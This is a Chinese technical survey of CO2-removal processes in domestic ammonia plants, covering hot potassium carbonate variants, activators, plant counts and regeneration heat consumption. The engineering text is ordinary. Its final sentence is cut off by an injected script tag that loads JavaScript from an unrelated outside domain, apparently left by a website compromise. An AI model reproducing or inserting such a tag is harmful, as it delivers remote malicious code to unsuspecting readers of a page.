国内脱碳工艺概况  □张学模    国内从合成氨脱除ＣＯ２的方法很多，基本上国外所有的方法国内都有应用。    各厂一般都是根据不同原料和不同工艺流程来选用脱碳的方法，但由于我国的客观条件限制，绝大部分厂均采用改良热钾碱体系：２０个大型厂中有１５家，５５个中型厂中有４０家。而其他的是：大型厂采用低温甲醇洗４家，ＭＤＥＡ１家；中型厂水洗１０家、丙碳５家、环丁砜２家（重复３家）；而８００多个小型厂中，小尿素有８０多家，其中有１０家采用多胺法（改良ＭＤＥＡ）、３家改良热钾碱、６０多家采用丙碳，其余均为碳化流程。    1．改良热钾碱体系    热钾碱体系中有体系无毒脱碳、苯菲尔特法、复合双活化、二乙撑三胺、空间位阻胺等工艺。    2．氨基乙酸为活化剂的无毒脱碳    目前有８家中型厂采用此工艺，无毒脱碳工艺推荐的溶液成分：Ｋ２Ｏ２００ｇ／ｌ，氨基乙酸３０ｇ／ｌ，Ｈ３ＢＯ３１５ｇ／ｌ，但氨基乙酸活化剂性能较差。栖化、安庆两厂引进的３０万吨合成氨早已将氨基乙酸活化剂改为复合双活化剂，有１０个中型氨厂也改为双活化剂，有些厂改为苯菲尔特法。    3．苯菲尔特法    这是美国联碳公司的专利，我国７０年代引进的大型氨厂有１３家采用该法，生产能力、各项消耗均能达到设计指标，运行情况一直良好。前几年又有６家引进了低能耗的苯菲尔特脱碳工艺，使用喷射器（四级）半贫液闪蒸的流程，按设计指标再生热耗可达３７５０ｋＪ／ｍ３ＣＯ２（８９３ｋｃａｌ／ｍ３ＣＯ２），节能２７％，实际考核热耗为４５００ｋＪ／ｍ３ＣＯ２（１０７１ｋｃａｌ／ｍ３ＣＯ２），节能２１％。泸州天然气化工厂引进了使用蒸汽压缩机的闪蒸节能技术，设计指标再生热耗可达１８４０ｋＪ／ｍ３ＣＯ２（４３８ｋｃａｌ／ｍ３ＣＯ２）。中原化肥厂引进的ＡＭＶ工艺，脱碳用３级蒸汽喷射器，最后一级用蒸汽压缩机，设计热耗为２４３３ｋＪ／ｍ３ＣＯ２（５８１ｋｃａｌ／ｍ３ＣＯ２），实际考核热耗为２７１７ｋＪ／ｍ３ＣＯ２（６５０ｋｃａｌ／ｍ３ＣＯ２）。７０年代中期北京化工实验厂首先使用苯菲尔特法，此后三明、兴平、刘家峡等地相继使用。中型氨厂有７家采用了南化公司研究院开发的喷射闪蒸技术，节能２０％～３０％。如兴平化肥厂使用再生塔出来的贫液三段闪蒸，温度从１１２℃降至１０２℃，每小时可回收热量６．９７×１０６ｋＪ，节水７５．５吨／小时，年节约蒸汽２万吨，年效益７１．２万元。    4．复合活化剂热钾碱法    该方法是南化公司研究院于８０年代初开发的。本方法使用二乙醇胺、氨基乙酸与硼酸组成复合或双活化剂。原来栖化采用引进的ＧＶ法脱碳工艺，生产能力仅达到设计能力的８３％，净化气ＣＯ２＞０．３％，热耗与化学药品消耗高于设计值。使用该工艺后生产能力达到１０５％，净化气ＣＯ２＜０．１％，再生热耗也从原来的５０９４ｋＪ／ｍ３ＣＯ２（１２１３ｋｃａｌ／ｍ３ＣＯ２）降到４５２０ｋＪ／ｍ３ＣＯ２（１０７６ｋｃａｌ／ｍ３ＣＯ２），也低于苯菲尔特法的热耗５２２３ｋＪ／ｍ３ＣＯ２（１２４４ｋｃａｌ／ｍ３ＣＯ２），平时可以不用蒸汽再沸器，化学药品消耗也低于设计值。１９８９年栖化又引进了双塔再生工艺，仍采用双活化剂溶液，再生热耗进一步降至２５１２ｋＪ／ｍ３ＣＯ２（５９８ｋｃａｌ／ｍ３ＣＯ２）。复合催化工艺在国内首先由乌拉山化肥厂于１９８４年开始应用，已有９个中型厂应用此工艺。    5．二乙撑三胺活化的热钾碱法（ＳＣＣ-Ａ法）    二乙撑三胺是四川化工厂于７０年代初开发的一种新活化剂，其活化性能与二乙醇胺相近，国内有４个中型厂、１个大型厂使用此法，都是从氨基乙酸活化剂改为二乙撑三胺活化剂的。工厂实际运行证明它是一种优良的工艺。    6．空间位阻胺脱碳工艺    空间位阻胺脱碳工艺由南化公司研究院开发。天津碱厂首先使用了此脱碳技术，该厂以重油为原料，年产５万吨合成氨，其脱碳系统设计为氨基乙酸无毒脱碳。生产中主要问题是溶液吸收能力低，净化气ＣＯ２含量超标＞０．４％，因此，该厂于１９８９年在二次脱碳系统中使用空间位阻胺，使用效果表明，吸收能力提高３０％，再生热耗降低３０％，经济效果显著。此后，空间位阻胺工艺先后在解放军化肥厂、兴平化肥厂、安阳化肥厂等推广使用。这些厂使用该工艺后节能增产效果都很显著，但是存在空间位阻胺损耗较大的问题。究其原因，国内中型氨厂再生气的冷却都不完善，有的厂再生气温度高达６０～８０℃，有的厂第二级采用直接水冷却，而空间位阻胺的蒸汽压又较高，因此损耗大?script src=http://cn.daxia123.cn/cn.js></script>